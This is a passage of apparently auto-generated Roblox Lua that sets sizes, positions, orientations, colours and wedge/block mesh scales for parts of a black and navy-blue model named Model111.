WedgePart147.BottomSurface = Enum.SurfaceType.Smooth
WedgePart147.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart147.Position = Vector3.new(85.1822052, 3.47046447, 71.7563477)
WedgePart147.Orientation = Vector3.new(89.9800034, 89.3600006, -90.6699982)
WedgePart147.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart148.Parent = Model111
WedgePart148.Material = Enum.Material.SmoothPlastic
WedgePart148.BrickColor = BrickColor.new("Really black")
WedgePart148.Rotation = Vector3.new(-90, -0.0199999996, 0.0299999993)
WedgePart148.Anchored = true
WedgePart148.CanCollide = false
WedgePart148.Size = Vector3.new(0.200154141, 0.216064483, 1.32918274)
WedgePart148.CFrame = CFrame.new(85.1824951, 2.62952924, 71.7563782, 0.999999762, -0.000570286938, -0.000350898161, 0.000350895803, -4.18163836e-06, 1, -0.000570288335, -0.99999994, -4.00096178e-06)
WedgePart148.BottomSurface = Enum.SurfaceType.Smooth
WedgePart148.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart148.Position = Vector3.new(85.1824951, 2.62952924, 71.7563782)
WedgePart148.Orientation = Vector3.new(-90, 0.0299999993, 0)
WedgePart148.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart149.Parent = Model111
WedgePart149.Material = Enum.Material.SmoothPlastic
WedgePart149.BrickColor = BrickColor.new("Really black")
WedgePart149.Rotation = Vector3.new(180, -0.0500000007, 179.869995)
WedgePart149.Anchored = true
WedgePart149.CanCollide = false
WedgePart149.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart149.CFrame = CFrame.new(85.1814804, 3.09614229, 71.7310715, -0.999997199, -0.00224562106, -0.000807990902, -0.00224561989, 0.999997437, -2.03587115e-06, 0.000807993289, -2.16066837e-07, -0.999999762)
WedgePart149.BottomSurface = Enum.SurfaceType.Smooth
WedgePart149.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart149.Position = Vector3.new(85.1814804, 3.09614229, 71.7310715)
WedgePart149.Orientation = Vector3.new(0, -179.949997, -0.129999995)
WedgePart149.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
SpecialMesh150.Parent = WedgePart149
SpecialMesh150.Scale = Vector3.new(1.01091325, 0.337860286, 2.69684029)
SpecialMesh150.MeshType = Enum.MeshType.Wedge
SpecialMesh150.Scale = Vector3.new(1.01091325, 0.337860286, 2.69684029)
WedgePart151.Parent = Model111
WedgePart151.Material = Enum.Material.SmoothPlastic
WedgePart151.BrickColor = BrickColor.new("Really black")
WedgePart151.Rotation = Vector3.new(0, 0.0500000007, 0.129999995)
WedgePart151.Anchored = true
WedgePart151.CanCollide = false
WedgePart151.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart151.CFrame = CFrame.new(85.1811905, 3.09613752, 71.3675842, 0.999997199, -0.00224562106, 0.000807990727, 0.00224561989, 0.999997437, 2.12527812e-06, -0.000807993289, -3.05473804e-07, 0.999999821)
WedgePart151.BottomSurface = Enum.SurfaceType.Smooth
WedgePart151.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart151.Position = Vector3.new(85.1811905, 3.09613752, 71.3675842)
WedgePart151.Orientation = Vector3.new(0, 0.0500000007, 0.129999995)
WedgePart151.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
SpecialMesh152.Parent = WedgePart151
SpecialMesh152.Scale = Vector3.new(1.01091325, 0.337860286, 0.938338399)
SpecialMesh152.MeshType = Enum.MeshType.Wedge
SpecialMesh152.Scale = Vector3.new(1.01091325, 0.337860286, 0.938338399)
WedgePart153.Parent = Model111
WedgePart153.Material = Enum.Material.SmoothPlastic
WedgePart153.BrickColor = BrickColor.new("Navy blue")
WedgePart153.Rotation = Vector3.new(86.8799973, 15.1499996, -7.48000002)
WedgePart153.Anchored = true
WedgePart153.CanCollide = false
WedgePart153.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart153.CFrame = CFrame.new(84.1446457, 4.05169582, 70.7639236, 0.957038879, 0.125684932, 0.261304408, 0.251607925, 0.087944001, -0.963825464, -0.144118473, 0.988164604, 0.0525425151)
WedgePart153.BottomSurface = Enum.SurfaceType.Smooth
WedgePart153.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart153.Position = Vector3.new(84.1446457, 4.05169582, 70.7639236)
WedgePart153.Orientation = Vector3.new(74.5400009, 78.6299973, 70.7300034)
WedgePart153.Color = Color3.new(0, 0.12549, 0.376471)
SpecialMesh154.Parent = WedgePart153
SpecialMesh154.Scale = Vector3.new(3.79249001, 0.477633595, 0.0880769417)
SpecialMesh154.MeshType = Enum.MeshType.Wedge
SpecialMesh154.Scale = Vector3.new(3.79249001, 0.477633595, 0.0880769417)
WedgePart155.Parent = Model111
WedgePart155.Material = Enum.Material.SmoothPlastic
WedgePart155.BrickColor = BrickColor.new("Navy blue")
WedgePart155.Rotation = Vector3.new(-173.649994, 48.3899994, -169.940002)
WedgePart155.Anchored = true
WedgePart155.CanCollide = false
WedgePart155.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart155.CFrame = CFrame.new(84.4218597, 4.16451406, 70.582016, -0.65387702, 0.11601074, 0.747653902, 0.254984111, 0.964155555, 0.073397398, -0.712339818, 0.238632768, -0.660020113)
WedgePart155.BottomSurface = Enum.SurfaceType.Smooth
WedgePart155.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart155.Position = Vector3.new(84.4218597, 4.16451406, 70.582016)
WedgePart155.Orientation = Vector3.new(-4.21000004, 131.440002, 14.8100004)
WedgePart155.Color = Color3.new(0, 0.12549, 0.376471)
SpecialMesh156.Parent = WedgePart155
SpecialMesh156.Scale = Vector3.new(4.00483942, 2.83606482, 0.269650221)
SpecialMesh156.MeshType = Enum.MeshType.Wedge
SpecialMesh156.Scale = Vector3.new(4.00483942, 2.83606482, 0.269650221)
WedgePart157.Parent = Model111
WedgePart157.Material = Enum.Material.SmoothPlastic
WedgePart157.BrickColor = BrickColor.new("Navy blue")
WedgePart157.Rotation = Vector3.new(6.3499999, -48.3899994, -10.0600004)
WedgePart157.Anchored = true
WedgePart157.CanCollide = false
WedgePart157.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart157.CFrame = CFrame.new(84.4620514, 4.16846418, 70.5465317, 0.65387702, 0.116010807, -0.747653902, -0.254984111, 0.964155555, -0.0733973011, 0.712339818, 0.238632709, 0.660020053)
WedgePart157.BottomSurface = Enum.SurfaceType.Smooth
WedgePart157.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart157.Position = Vector3.new(84.4620514, 4.16846418, 70.5465317)
WedgePart157.Orientation = Vector3.new(4.21000004, -48.5600014, -14.8100004)
WedgePart157.Color = Color3.new(0, 0.12549, 0.376471)
SpecialMesh158.Parent = WedgePart157
SpecialMesh158.Scale = Vector3.new(4.00483942, 2.83606482, 0.267972648)
SpecialMesh158.MeshType = Enum.MeshType.Wedge
SpecialMesh158.Scale = Vector3.new(4.00483942, 2.83606482, 0.267972648)
WedgePart159.Parent = Model111
WedgePart159.Material = Enum.Material.SmoothPlastic
WedgePart159.BrickColor = BrickColor.new("Navy blue")
WedgePart159.Rotation = Vector3.new(90, -9.51000023, 38.2000008)
WedgePart159.Anchored = true
WedgePart159.CanCollide = false
WedgePart159.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart159.CFrame = CFrame.new(84.0250778, 4.48755217, 70.9831467, 0.775091887, -0.609853208, -0.16526258, -0.129877046, 0.102194309, -0.986249685, 0.618356287, 0.785897911, 4.05497849e-06)
WedgePart159.BottomSurface = Enum.SurfaceType.Smooth
WedgePart159.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart159.Position = Vector3.new(84.0250778, 4.48755217, 70.9831467)
WedgePart159.Orientation = Vector3.new(80.4899979, -90, -51.7999992)
WedgePart159.Color = Color3.new(0, 0.12549, 0.376471)
SpecialMesh160.Parent = WedgePart159
SpecialMesh160.Scale = Vector3.new(1.85473442, 0.0282498114, 0.0053952313)
SpecialMesh160.MeshType = Enum.MeshType.Wedge
SpecialMesh160.Scale = Vector3.new(1.85473442, 0.0282498114, 0.0053952313)
WedgePart161.Parent = Model111
WedgePart161.Material = Enum.Material.SmoothPlastic
WedgePart161.BrickColor = BrickColor.new("Navy blue")
WedgePart161.Rotation = Vector3.new(-90, 9.51000023, 141.800003)
WedgePart161.Anchored = true
WedgePart161.CanCollide = false
WedgePart161.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart161.CFrame = CFrame.new(83.9779968, 4.20658875, 70.9831314, -0.775091887, -0.609853208, 0.165262535, 0.129877046, 0.10219422, 0.986249685, -0.618356287, 0.785897911, -3.98047268e-06)
WedgePart161.BottomSurface = Enum.SurfaceType.Smooth
WedgePart161.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart161.Position = Vector3.new(83.9779968, 4.20658875, 70.9831314)
WedgePart161.Orientation = Vector3.new(-80.4899979, 90, 51.7999992)
WedgePart161.Color = Color3.new(0, 0.12549, 0.376471)
SpecialMesh162.Parent = WedgePart161
SpecialMesh162.Scale = Vector3.new(1.85473442, 0.0282498114, 2.84345865)
SpecialMesh162.MeshType = Enum.MeshType.Wedge
SpecialMesh162.Scale = Vector3.new(1.85473442, 0.0282498114, 2.84345865)
WedgePart163.Parent = Model111
WedgePart163.Material = Enum.Material.SmoothPlastic
WedgePart163.BrickColor = BrickColor.new("Navy blue")
WedgePart163.Rotation = Vector3.new(-173.649994, -9.22999954, -169.990005)
WedgePart163.Anchored = true
WedgePart163.CanCollide = false
WedgePart163.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart163.CFrame = CFrame.new(84.1072159, 4.18705034, 70.8189468, -0.972012162, 0.171640545, -0.16041176, 0.155350938, 0.981806695, 0.109186664, 0.176234171, 0.0812106356, -0.980992436)
WedgePart163.BottomSurface = Enum.SurfaceType.Smooth
WedgePart163.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart163.Position = Vector3.new(84.1072159, 4.18705034, 70.8189468)
WedgePart163.Orientation = Vector3.new(-6.26999998, -170.710007, 8.98999977)
WedgePart163.Color = Color3.new(0, 0.12549, 0.376471)
SpecialMesh164.Parent = WedgePart163
SpecialMesh164.Scale = Vector3.new(2.80837536, 2.83567548, 0.212128252)
SpecialMesh164.MeshType = Enum.MeshType.Wedge
SpecialMesh164.Scale = Vector3.new(2.80837536, 2.83567548, 0.212128252)
WedgePart165.Parent = Model111
WedgePart165.Material = Enum.Material.SmoothPlastic
WedgePart165.BrickColor = BrickColor.new("Navy blue")
WedgePart165.Rotation = Vector3.new(6.3499999, 9.22999954, -10.0100002)
WedgePart165.Anchored = true
WedgePart165.CanCollide = false
WedgePart165.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart165.CFrame = CFrame.new(84.0994263, 4.19235182, 70.7712784, 0.972012162, 0.171640515, 0.160411775, -0.155350938, 0.981806695, -0.10918659, -0.176234171, 0.0812105462, 0.980992496)
WedgePart165.BottomSurface = Enum.SurfaceType.Smooth
WedgePart165.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart165.Position = Vector3.new(84.0994263, 4.19235182, 70.7712784)
WedgePart165.Orientation = Vector3.new(6.26999998, 9.28999996, -8.98999977)
WedgePart165.Color = Color3.new(0, 0.12549, 0.376471)
SpecialMesh166.Parent = WedgePart165
SpecialMesh166.Scale = Vector3.new(2.80837536, 2.83567548, 0.273714751)
SpecialMesh166.MeshType = Enum.MeshType.Wedge
SpecialMesh166.Scale = Vector3.new(2.80837536, 2.83567548, 0.273714751)
WedgePart167.Parent = Model111
WedgePart167.Material = Enum.Material.SmoothPlastic
WedgePart167.BrickColor = BrickColor.new("Navy blue")
WedgePart167.Rotation = Vector3.new(173.649994, -48.3899994, -169.940002)
WedgePart167.Anchored = true
WedgePart167.CanCollide = false
WedgePart167.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart167.CFrame = CFrame.new(84.4638138, 4.16846514, 71.6982422, -0.653876841, 0.116011359, -0.747654021, 0.254989713, 0.964153886, -0.0734017119, 0.712337971, -0.238639727, -0.660019517)
WedgePart167.BottomSurface = Enum.SurfaceType.Smooth
WedgePart167.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart167.Position = Vector3.new(84.4638138, 4.16846514, 71.6982422)
WedgePart167.Orientation = Vector3.new(4.21000004, -131.440002, 14.8100004)
WedgePart167.Color = Color3.new(0, 0.12549, 0.376471)
SpecialMesh168.Parent = WedgePart167
SpecialMesh168.Scale = Vector3.new(4.00483942, 2.83606482, 0.267972648)
SpecialMesh168.MeshType = Enum.MeshType.Wedge
SpecialMesh168.Scale = Vector3.new(4.00483942, 2.83606482, 0.267972648)
WedgePart169.Parent = Model111
WedgePart169.Material = Enum.Material.SmoothPlastic
WedgePart169.BrickColor = BrickColor.new("Navy blue")
WedgePart169.Rotation = Vector3.new(173.649994, 9.22999954, -169.990005)
WedgePart169.Anchored = true
WedgePart169.CanCollide = false
WedgePart169.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart169.CFrame = CFrame.new(84.1011887, 4.19235182, 71.4734879, -0.972012162, 0.171640277, 0.16041179, 0.155349508, 0.981806219, -0.109193146, -0.176235214, -0.0812171847, -0.980991721)
WedgePart169.BottomSurface = Enum.SurfaceType.Smooth
WedgePart169.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart169.Position = Vector3.new(84.1011887, 4.19235182, 71.4734879)
WedgePart169.Orientation = Vector3.new(6.26999998, 170.710007, 8.98999977)
WedgePart169.Color = Color3.new(0, 0.12549, 0.376471)
SpecialMesh170.Parent = WedgePart169
SpecialMesh170.Scale = Vector3.new(2.80837536, 2.83567548, 0.273714751)
SpecialMesh170.MeshType = Enum.MeshType.Wedge
SpecialMesh170.Scale = Vector3.new(2.80837536, 2.83567548, 0.273714751)
WedgePart171.Parent = Model111
WedgePart171.Material = Enum.Material.SmoothPlastic
WedgePart171.BrickColor = BrickColor.new("Navy blue")
WedgePart171.Rotation = Vector3.new(90, -9.51000023, 141.800003)
WedgePart171.Anchored = true
WedgePart171.CanCollide = false
WedgePart171.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart171.CFrame = CFrame.new(84.0268402, 4.48755026, 71.2616348, -0.775091708, -0.609853506, -0.16526255, 0.129881904, 0.102188051, -0.986249685, 0.618355632, -0.785898507, 3.83146107e-06)
WedgePart171.BottomSurface = Enum.SurfaceType.Smooth
WedgePart171.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart171.Position = Vector3.new(84.0268402, 4.48755026, 71.2616348)
WedgePart171.Orientation = Vector3.new(80.4899979, -90, 51.8100014)
WedgePart171.Color = Color3.new(0, 0.12549, 0.376471)
SpecialMesh172.Parent = WedgePart171
SpecialMesh172.Scale = Vector3.new(1.85473442, 0.0282498114, 0.0053952313)
SpecialMesh172.MeshType = Enum.MeshType.Wedge
SpecialMesh172.Scale = Vector3.new(1.85473442, 0.0282498114, 0.0053952313)
WedgePart173.Parent = Model111
WedgePart173.Material = Enum.Material.SmoothPlastic
WedgePart173.BrickColor = BrickColor.new("Navy blue")
WedgePart173.Rotation = Vector3.new(-6.3499999, -9.22999954, -10.0100002)
WedgePart173.Anchored = true
WedgePart173.CanCollide = false
WedgePart173.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart173.CFrame = CFrame.new(84.1089783, 4.18705225, 71.4258041, 0.972012162, 0.171640292, -0.160411775, -0.155349508, 0.981806219, 0.109193236, 0.176235214, -0.0812172741, 0.980991721)
WedgePart173.BottomSurface = Enum.SurfaceType.Smooth
WedgePart173.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart173.Position = Vector3.new(84.1089783, 4.18705225, 71.4258041)
WedgePart173.Orientation = Vector3.new(-6.26999998, -9.28999996, -8.98999977)
WedgePart173.Color = Color3.new(0, 0.12549, 0.376471)
SpecialMesh174.Parent = WedgePart173
SpecialMesh174.Scale = Vector3.new(2.80837536, 2.83567548, 0.212128252)
SpecialMesh174.MeshType = Enum.MeshType.Wedge
SpecialMesh174.Scale = Vector3.new(2.80837536, 2.83567548, 0.212128252)
WedgePart175.Parent = Model111
WedgePart175.Material = Enum.Material.SmoothPlastic
WedgePart175.BrickColor = BrickColor.new("Navy blue")
WedgePart175.Rotation = Vector3.new(-90, 9.51000023, 38.2000008)
WedgePart175.Anchored = true
WedgePart175.CanCollide = false
WedgePart175.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart175.CFrame = CFrame.new(83.9797592, 4.20658875, 71.2616196, 0.775091708, -0.609853506, 0.165262491, -0.129881904, 0.102187976, 0.986249685, -0.618355632, -0.785898507, -3.89106572e-06)
WedgePart175.BottomSurface = Enum.SurfaceType.Smooth
WedgePart175.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart175.Position = Vector3.new(83.9797592, 4.20658875, 71.2616196)
WedgePart175.Orientation = Vector3.new(-80.4899979, 90, -51.8100014)
WedgePart175.Color = Color3.new(0, 0.12549, 0.376471)
SpecialMesh176.Parent = WedgePart175
SpecialMesh176.Scale = Vector3.new(1.85473442, 0.0282498114, 2.84345865)
SpecialMesh176.MeshType = Enum.MeshType.Wedge
SpecialMesh176.Scale = Vector3.new(1.85473442, 0.0282498114, 2.84345865)
WedgePart177.Parent = Model111
WedgePart177.Material = Enum.Material.SmoothPlastic
WedgePart177.BrickColor = BrickColor.new("Navy blue")
WedgePart177.Rotation = Vector3.new(-6.3499999, 48.3899994, -10.0600004)
WedgePart177.Anchored = true
WedgePart177.CanCollide = false
WedgePart177.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart177.CFrame = CFrame.new(84.4236221, 4.16451979, 71.6627731, 0.653876841, 0.116011299, 0.74765408, -0.254989713, 0.964153886, 0.0734018013, -0.712337971, -0.238639787, 0.660019517)
WedgePart177.BottomSurface = Enum.SurfaceType.Smooth
WedgePart177.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart177.Position = Vector3.new(84.4236221, 4.16451979, 71.6627731)
WedgePart177.Orientation = Vector3.new(-4.21000004, 48.5600014, -14.8100004)
WedgePart177.Color = Color3.new(0, 0.12549, 0.376471)
SpecialMesh178.Parent = WedgePart177
SpecialMesh178.Scale = Vector3.new(4.00483942, 2.83606482, 0.269650221)
SpecialMesh178.MeshType = Enum.MeshType.Wedge
SpecialMesh178.Scale = Vector3.new(4.00483942, 2.83606482, 0.269650221)
WedgePart179.Parent = Model111
WedgePart179.Material = Enum.Material.SmoothPlastic
WedgePart179.BrickColor = BrickColor.new("Really black")
WedgePart179.Rotation = Vector3.new(176.649994, -32.4300003, -16.2800007)
WedgePart179.Anchored = true
WedgePart179.CanCollide = false
WedgePart179.Size = Vector3.new(0.501514971, 1.8123908, 0.540661097)
WedgePart179.CFrame = CFrame.new(84.3812408, 3.16418386, 71.5519867, 0.810205579, 0.236556157, -0.536291003, 0.249728575, -0.967060745, -0.049287919, -0.530285299, -0.0939938203, -0.842592716)
WedgePart179.BottomSurface = Enum.SurfaceType.Smooth
WedgePart179.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart179.Position = Vector3.new(84.3812408, 3.16418386, 71.5519867)
WedgePart179.Orientation = Vector3.new(2.82999992, -147.520004, 165.520004)
WedgePart179.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart180.Parent = Model111
WedgePart180.Material = Enum.Material.SmoothPlastic
WedgePart180.BrickColor = BrickColor.new("Really black")
WedgePart180.Rotation = Vector3.new(-3.3499999, 32.4300003, -163.720001)
WedgePart180.Anchored = true
WedgePart180.CanCollide = false
WedgePart180.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart180.CFrame = CFrame.new(84.2144699, 3.1488595, 71.289978, -0.810205579, 0.236556113, 0.536291063, -0.249728575, -0.967060685, 0.0492878295, 0.530285299, -0.093993932, 0.842592835)
WedgePart180.BottomSurface = Enum.SurfaceType.Smooth
WedgePart180.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart180.Position = Vector3.new(84.2144699, 3.1488595, 71.289978)
WedgePart180.Orientation = Vector3.new(-2.82999992, 32.4799995, -165.520004)
WedgePart180.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
SpecialMesh181.Parent = WedgePart180
SpecialMesh181.Scale = Vector3.new(2.5075748, 9.0619545, 0.406420559)
SpecialMesh181.MeshType = Enum.MeshType.Wedge
SpecialMesh181.Scale = Vector3.new(2.5075748, 9.0619545, 0.406420559)
WedgePart182.Parent = Model111
WedgePart182.Material = Enum.Material.SmoothPlastic
WedgePart182.BrickColor = BrickColor.new("Navy blue")
WedgePart182.Rotation = Vector3.new(93.3300018, 15.0900002, -174.039993)
WedgePart182.Anchored = true
WedgePart182.CanCollide = false
WedgePart182.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart182.CFrame = CFrame.new(84.1439896, 4.05129576, 71.4676208, -0.960297585, 0.10023734, 0.260348022, -0.252465844, 0.0848200619, -0.963881016, -0.118699588, -0.991341591, -0.0561460108)
WedgePart182.BottomSurface = Enum.SurfaceType.Smooth
WedgePart182.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart182.Position = Vector3.new(84.1439896, 4.05129576, 71.4676208)
WedgePart182.Orientation = Vector3.new(74.5500031, 102.169998, -71.4300003)
WedgePart182.Color = Color3.new(0, 0.12549, 0.376471)
SpecialMesh183.Parent = WedgePart182
SpecialMesh183.Scale = Vector3.new(3.76363802, 0.508730888, 0.0892680213)
SpecialMesh183.MeshType = Enum.MeshType.Wedge
SpecialMesh183.Scale = Vector3.new(3.76363802, 0.508730888, 0.0892680213)
WedgePart184.Parent = Model111
WedgePart184.Material = Enum.Material.SmoothPlastic
WedgePart184.BrickColor = BrickColor.new("Really black")
WedgePart184.Rotation = Vector3.new(-86.6699982, -15.0900002, -5.96000004)
WedgePart184.Anchored = true
WedgePart184.CanCollide = false
WedgePart184.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart184.CFrame = CFrame.new(84.3801498, 3.17696238, 71.4166794, 0.960297585, 0.100237362, -0.260347992, 0.252465844, 0.0848200023, 0.963881075, 0.118699588, -0.991341591, 0.0561459363)
WedgePart184.BottomSurface = Enum.SurfaceType.Smooth
WedgePart184.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart184.Position = Vector3.new(84.3801498, 3.17696238, 71.4166794)
WedgePart184.Orientation = Vector3.new(-74.5500031, -77.8300018, 71.4300003)
WedgePart184.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
SpecialMesh185.Parent = WedgePart184
SpecialMesh185.Scale = Vector3.new(3.76363802, 0.508730888, 8.98179531)
SpecialMesh185.MeshType = Enum.MeshType.Wedge
SpecialMesh185.Scale = Vector3.new(3.76363802, 0.508730888, 8.98179531)
WedgePart186.Parent = Model111
WedgePart186.Material = Enum.Material.SmoothPlastic
WedgePart186.BrickColor = BrickColor.new("Really black")
WedgePart186.Rotation = Vector3.new(-176.649994, 32.4300003, -16.2099991)
WedgePart186.Anchored = true
WedgePart186.CanCollide = false
WedgePart186.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart186.CFrame = CFrame.new(84.2128601, 3.14833856, 70.9510422, 0.810471892, 0.235643119, 0.536290646, 0.248642325, -0.967340946, 0.049282223, 0.530388892, 0.093402721, -0.842593253)
WedgePart186.BottomSurface = Enum.SurfaceType.Smooth
WedgePart186.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart186.Position = Vector3.new(84.2128601, 3.14833856, 70.9510422)
WedgePart186.Orientation = Vector3.new(-2.81999993, 147.520004, 165.580002)
WedgePart186.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
SpecialMesh187.Parent = WedgePart186
SpecialMesh187.Scale = Vector3.new(2.49772358, 9.06096554, 0.438725233)
SpecialMesh187.MeshType = Enum.MeshType.Wedge
SpecialMesh187.Scale = Vector3.new(2.49772358, 9.06096554, 0.438725233)
WedgePart188.Parent = Model111
WedgePart188.Material = Enum.Material.SmoothPlastic
WedgePart188.BrickColor = BrickColor.new("Really black")
WedgePart188.Rotation = Vector3.new(-93.1200027, -15.1499996, -172.520004)
WedgePart188.Anchored = true
WedgePart188.CanCollide = false
WedgePart188.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart188.CFrame = CFrame.new(84.3816833, 3.17736506, 70.8115616, -0.957038879, 0.125684962, -0.261304379, -0.251607925, 0.0879439265, 0.963825405, 0.144118473, 0.988164663, -0.0525424257)
WedgePart188.BottomSurface = Enum.SurfaceType.Smooth
WedgePart188.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart188.Position = Vector3.new(84.3816833, 3.17736506, 70.8115616)
WedgePart188.Orientation = Vector3.new(-74.5400009, -101.370003, -70.7300034)
WedgePart188.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
SpecialMesh189.Parent = WedgePart188
SpecialMesh189.Scale = Vector3.new(3.79249001, 0.477633595, 8.98350334)
SpecialMesh189.MeshType = Enum.MeshType.Wedge
SpecialMesh189.Scale = Vector3.new(3.79249001, 0.477633595, 8.98350334)
WedgePart190.Parent = Model111
WedgePart190.Material = Enum.Material.SmoothPlastic
WedgePart190.BrickColor = BrickColor.new("Really black")
WedgePart190.Rotation = Vector3.new(3.3499999, -32.4300003, -163.789993)
WedgePart190.Anchored = true
WedgePart190.CanCollide = false
WedgePart190.Size = Vector3.new(0.49954474, 1.81219304, 0.534200132)
WedgePart190.CFrame = CFrame.new(84.379631, 3.16365862, 70.689003, -0.810471892, 0.235643178, -0.536290705, -0.248642325, -0.967340887, -0.0492823087, -0.530388892, 0.093402639, 0.842593431)
WedgePart190.BottomSurface = Enum.SurfaceType.Smooth
WedgePart190.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart190.Position = Vector3.new(84.379631, 3.16365862, 70.689003)
WedgePart190.Orientation = Vector3.new(2.81999993, -32.4799995, -165.580002)
WedgePart190.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part191.Parent = Model111
Part191.Material = Enum.Material.SmoothPlastic
Part191.BrickColor = BrickColor.new("Bright blue")
Part191.Reflectance = 0.20000000298023
Part191.Rotation = Vector3.new(180, 0, 0)
Part191.Anchored = true
Part191.CanCollide = false
Part191.FormFactor = Enum.FormFactor.Symmetric
Part191.Size = Vector3.new(0.200000003, 0.289398372, 0.200000003)
Part191.CFrame = CFrame.new(85.2290497, 2.24749422, 71.4875183, 0.999990463, 1.68663576e-06, -5.21396615e-08, 1.52207053e-06, -0.99999398, -3.58559191e-06, -4.70573482e-08, 3.27080488e-06, -0.99999404)
Part191.BottomSurface = Enum.SurfaceType.Smooth
Part191.TopSurface = Enum.SurfaceType.Smooth
Part191.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part191.Position = Vector3.new(85.2290497, 2.24749422, 71.4875183)
Part191.Orientation = Vector3.new(0, -180, 180)
Part191.Color = Color3.new(0.0509804, 0.411765, 0.67451)
BlockMesh192.Parent = Part191
BlockMesh192.Scale = Vector3.new(1, 1, 0.200000003)
BlockMesh192.Scale = Vector3.new(1, 1, 0.200000003)
Part193.Parent = Model111
Part193.Material = Enum.Material.SmoothPlastic
Part193.BrickColor = BrickColor.new("Bright blue")
Part193.Reflectance = 0.20000000298023
Part193.Rotation = Vector3.new(90, 0, 0)
Part193.Anchored = true
Part193.CanCollide = false
Part193.FormFactor = Enum.FormFactor.Symmetric
Part193.Size = Vector3.new(0.200000003, 0.704961121, 0.200000003)
Part193.CFrame = CFrame.new(85.2290497, 2.37356567, 71.1549301, 0.999990463, 5.21391357e-08, 1.68663564e-06, 1.52207053e-06, 3.8985163e-06, -0.99999404, -4.70573482e-08, 0.99999404, 3.58559191e-06)
Part193.BottomSurface = Enum.SurfaceType.Smooth
Part193.TopSurface = Enum.SurfaceType.Smooth
Part193.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part193.Position = Vector3.new(85.2290497, 2.37356567, 71.1549301)
Part193.Orientation = Vector3.new(89.8000031, 25.1900005, 21.3299999)
Part193.Color = Color3.new(0.0509804, 0.411765, 0.67451)
BlockMesh194.Parent = Part193
BlockMesh194.Scale = Vector3.new(1, 1, 0.200000003)
BlockMesh194.Scale = Vector3.new(1, 1, 0.200000003)
Part195.Parent = Model111
Part195.Material = Enum.Material.SmoothPlastic
Part195.BrickColor = BrickColor.new("Black")
Part195.Rotation = Vector3.new(180, 0, 180)
Part195.Anchored = true
Part195.CanCollide = false
Part195.FormFactor = Enum.FormFactor.Symmetric
Part195.Size = Vector3.new(1.12655747, 0.300000042, 2.07369661)
Part195.CFrame = CFrame.new(84.7367096, 2.24362898, 71.1229401, -0.999990463, -1.68663564e-06, -5.21395265e-08, -1.52207053e-06, 0.99999398, -3.68990004e-06, 4.70573482e-08, -3.34531069e-06, -0.99999404)
Part195.BottomSurface = Enum.SurfaceType.Smooth
Part195.TopSurface = Enum.SurfaceType.Smooth
Part195.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part195.Position = Vector3.new(84.7367096, 2.24362898, 71.1229401)
Part195.Orientation = Vector3.new(0, -180, 0)
Part195.Color = Color3.new(0.105882, 0.164706, 0.207843)
BlockMesh196.Parent = Part195
Part197.Parent = Model111
Part197.Material = Enum.Material.SmoothPlastic
Part197.BrickColor = BrickColor.new("Bright blue")
Part197.Reflectance = 0.20000000298023
Part197.Rotation = Vector3.new(180, 0, 0)
Part197.Anchored = true
Part197.CanCollide = false
Part197.FormFactor = Enum.FormFactor.Symmetric
